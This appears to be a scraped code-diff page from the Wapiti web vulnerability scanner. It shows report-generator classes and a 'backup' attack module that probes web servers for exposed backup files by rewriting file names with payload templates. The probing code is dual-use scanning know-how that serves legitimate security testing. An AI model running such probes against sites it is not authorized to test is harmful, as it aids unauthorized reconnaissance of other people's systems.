# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original author :
# David del Pozo
# Alberto Pastor
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from importlib import import_module
class ReportGeneratorInfo:
def __init__(self):
self.name = None
self.class_name = None
self.class_module = None
def get_key(self):
return self.name
def get_class_module(self):
return self.class_module
def get_class_name(self):
return self.class_name
def set_key(self, name):
self.name = name
def set_class_module(self, class_module):
self.class_module = class_module
def set_class_name(self, class_name):
self.class_name = class_name
def create_instance(self):
# module = __import__(self.get_class_module(), globals(), locals(), ['NoName'], -1)
module = import_module("wapitiCore.report.{}".format(self.get_class_module()))
generator_class = getattr(module, self.get_class_name())
return generator_class()

View File

@ -0,0 +1,95 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2009-2018 Nicolas Surribas
#
# Original authors :
# Anthony DUBOCAGE
# Guillaume TRANCHANT
# Gregory FONTAINE
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from os.path import splitext
from requests.exceptions import RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, _
from wapitiCore.net import web
class mod_backup(Attack):
"""
This class implements a "backup attack"
"""
PAYLOADS_FILE = "backupPayloads.txt"
name = "backup"
do_get = False
do_post = False
def attack(self):
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
for original_request in http_resources:
if original_request.file_name == "":
yield original_request
continue
page = original_request.path
headers = original_request.headers
# Do not attack application-type files
if "content-type" not in headers:
# Sometimes there's no content-type... so we rely on the document extension
if (page.split(".")[-1] not in self.allowed) and page[-1] != "/":
yield original_request
continue
elif "text" not in headers["content-type"]:
yield original_request
continue
for payload, flags in self.payloads:
try:
payload = payload.replace("[FILE_NAME]", original_request.file_name)
payload = payload.replace("[FILE_NOEXT]", splitext(original_request.file_name)[0])
url = page.replace(original_request.file_name, payload)
if self.verbose == 2:
print("[¨] {0}".format(url))
if url not in self.attacked_get:
self.attacked_get.append(url)
evil_req = web.Request(url)
response = self.crawler.send(evil_req)
if response and response.status == 200:
self.log_red(_("Found backup file {}".format(evil_req.url)))
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.BACKUP,
level=Vulnerability.HIGH_LEVEL,
request=evil_req,
info=_("Backup file {0} found for {1}").format(url, page)
)
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,245 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2013-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.dom.minidom import Document
import uuid
from wapitiCore.report.reportgenerator import ReportGenerator
class OpenVASReportGenerator(ReportGenerator):
"""
This class generates a report with the method printToFile(fileName) which contains
the information of all the vulnerabilities notified to this object through the
method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info).
The format of the file is XML and it has the following structure:
<report type="security">
<generatedBy id="Wapiti 3.0.1"/>
<vulnerabilityTypeList>
<vulnerabilityType name="SQL Injection">
<vulnerabilityTypeList>
<vulnerabilityType name="SQL Injection">
<vulnerabilityList>
<vulnerability level="3">
<url>http://www.a.com</url>
<parameters>id=23</parameters>
<info>SQL Injection</info>
</vulnerability>
</vulnerabilityList>
</vulnerabilityType>
</vulnerabilityTypeList>
</report>
"""
def __init__(self):
super().__init__()
self._xml_doc = Document()
self._flaw_types = {}
self._vulns = {}
self._anomalies = {}
self._vuln_count = 0
self._anom_count = 0
# Vulnerabilities
def add_vulnerability_type(self, name, description="", solution="", references=None):
if name not in self._flaw_types:
self._flaw_types[name] = {
'desc': description,
'sol': solution,
'ref': references}
if name not in self._vulns:
self._vulns[name] = []
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
vuln_dict = {
"method": request.method,
"hostname": request.hostname,
"port": request.port,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr,
}
if category not in self._vulns:
self._vulns[category] = []
self._vulns[category].append(vuln_dict)
self._vuln_count += 1
# Anomalies
def add_anomaly_type(self, name, description="", solution="", references=None):
if name not in self._flaw_types:
self._flaw_types[name] = {
'desc': description,
'sol': solution,
'ref': references
}
if name not in self._anomalies:
self._anomalies[name] = []
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
anom_dict = {
"method": request.method,
"hostname": request.hostname,
"port": request.port,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr,
}
if category not in self._anomalies:
self._anomalies[category] = []
self._anomalies[category].append(anom_dict)
self._anom_count += 1
def generate_report(self, output_path):
"""
Create a xml file with a report of the vulnerabilities which have been logged with
the method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info)
"""
uuid_report = str(uuid.uuid1())
report = self._xml_doc.createElement("report")
report.setAttribute("extension", "xml")
report.setAttribute("id", uuid_report)
report.setAttribute("type", "scan")
report.setAttribute("content_type", "text/html")
report.setAttribute("format_id", "a994b278-1f62-11e1-96ac-406186ea4fc5")
self._xml_doc.appendChild(report)
# Add report infos
report_infos = self._xml_doc.createElement("report")
report_infos.setAttribute("id", uuid_report)
scan_run_status = self._xml_doc.createElement("scan_run_status")
scan_run_status.appendChild(self._xml_doc.createTextNode("Done"))
report_infos.appendChild(scan_run_status)
scan_start = self._xml_doc.createElement("scan_start")
scan_start.appendChild(self._xml_doc.createTextNode(self._infos["date"]))
report_infos.appendChild(scan_start)
results = self._xml_doc.createElement("results")
results.setAttribute("start", "1")
results.setAttribute("max", str(self._vuln_count + self._anom_count))
# Loop on each flaw classification
for flawType in self._flaw_types:
classification = ""
flaw_dict = {}
if flawType in self._vulns:
classification = "vulnerability"
flaw_dict = self._vulns
elif flawType in self._anomalies:
classification = "anomaly"
flaw_dict = self._anomalies
for flaw in flaw_dict[flawType]:
result = self._xml_doc.createElement("result")
result.setAttribute("id", str(uuid.uuid4()))
subnet = self._xml_doc.createElement("subnet")
subnet.appendChild(self._xml_doc.createTextNode(flaw["hostname"]))
result.appendChild(subnet)
host = self._xml_doc.createElement("host")
host.appendChild(self._xml_doc.createTextNode(flaw["hostname"]))
result.appendChild(host)
port = self._xml_doc.createElement("port")
port.appendChild(self._xml_doc.createTextNode(str(flaw["port"])))
result.appendChild(port)
nvt = self._xml_doc.createElement("nvt")
nvt.setAttribute("oid", str(uuid.uuid4()))
name = self._xml_doc.createElement("name")
name.appendChild(self._xml_doc.createTextNode(flawType))
nvt.appendChild(name)
family = self._xml_doc.createElement("family")
family.appendChild(self._xml_doc.createTextNode(classification))
nvt.appendChild(family)
cvss_base = self._xml_doc.createElement("cvss_base")
cvss_base.appendChild(self._xml_doc.createTextNode("0.0"))
nvt.appendChild(cvss_base)
risk_factor = self._xml_doc.createElement("risk_factor")
risk_factor.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
nvt.appendChild(risk_factor)
cve = self._xml_doc.createElement("cve")
cve.appendChild(self._xml_doc.createTextNode(""))
nvt.appendChild(cve)
bid = self._xml_doc.createElement("bid")
bid.appendChild(self._xml_doc.createTextNode(""))
nvt.appendChild(bid)
tags = self._xml_doc.createElement("tags")
tags.appendChild(self._xml_doc.createTextNode(""))
nvt.appendChild(tags)
certs = self._xml_doc.createElement("certs")
certs.appendChild(self._xml_doc.createTextNode(""))
nvt.appendChild(certs)
xref = self._xml_doc.createElement("xref")
xref.appendChild(self._xml_doc.createTextNode("NOXREF"))
nvt.appendChild(xref)
result.appendChild(nvt)
threat = self._xml_doc.createElement("threat")
threat.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
result.appendChild(threat)
description = self._xml_doc.createElement("description")
description.appendChild(self._xml_doc.createCDATASection(flaw["info"]))
result.appendChild(description)
original_threat = self._xml_doc.createElement("original_threat")
original_threat.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
result.appendChild(original_threat)
results.appendChild(result)
report_infos.appendChild(results)
report.appendChild(report_infos)
with open(output_path, "w") as fd:
self._xml_doc.writexml(fd, addindent=" ", newl="\n")

View File

@ -0,0 +1,60 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original authors :
# Alberto Pastor
# David del Pozo
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import time
class ReportGenerator:
def __init__(self):
self._infos = {}
self._date = None
def set_report_info(self, target, scope, date, version):
"""Set the informations about the scan"""
self._infos["target"] = target
self._infos["date"] = time.strftime("%a, %d %b %Y %H:%M:%S +0000", date)
self._infos["version"] = version
self._infos["scope"] = scope
self._date = date
@property
def scan_date(self):
return self._date
def generate_report(self, output_path):
pass
# Vulnerabilities
def add_vulnerability_type(self, name, description="", solution="", references=None):
pass
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
pass
# Anomalies
def add_anomaly_type(self, name, description="", solution="", references=None):
pass
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
pass

Some files were not shown because too many files have changed in this diff Show More